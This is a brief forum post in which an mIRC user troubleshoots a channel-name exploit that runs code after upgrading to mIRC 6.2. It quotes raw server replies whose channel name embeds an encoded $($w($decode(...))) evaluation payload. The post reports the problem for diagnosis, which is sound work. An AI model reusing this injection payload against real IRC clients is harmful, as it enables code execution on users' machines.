Hi, this is the problem.
When I join a malformed channel (see the mIRC 6.16 auto.invite exploit) on mIRC 6.17 and my script nothing appends.
When I change mIRC version from 6.17 to 6.2 mIRC execute malformed request, and evil code running.
I have tested this on a fresh mIRC copy without result, so I think that this was caused with some raw event.
One more consideration.
Before code execution, those are the raw events that I have displayed:
<- :message.from.server.it 353 [R]u[F]y = #$($w($decode(.#6YI8VL@.G!I<FQO;F4`))) :@[R]u[F]y
<- :message.from.server.it 366 [R]u[F]y #$($w($decode(.#6YI8VL@.G!I<FQO;F4`))) :End of NAMES list.
<- :message.from.server.it 324 [R]u[F]y #$($w($decode(.#6YI8VL@.G!I<FQO;F4`))) +
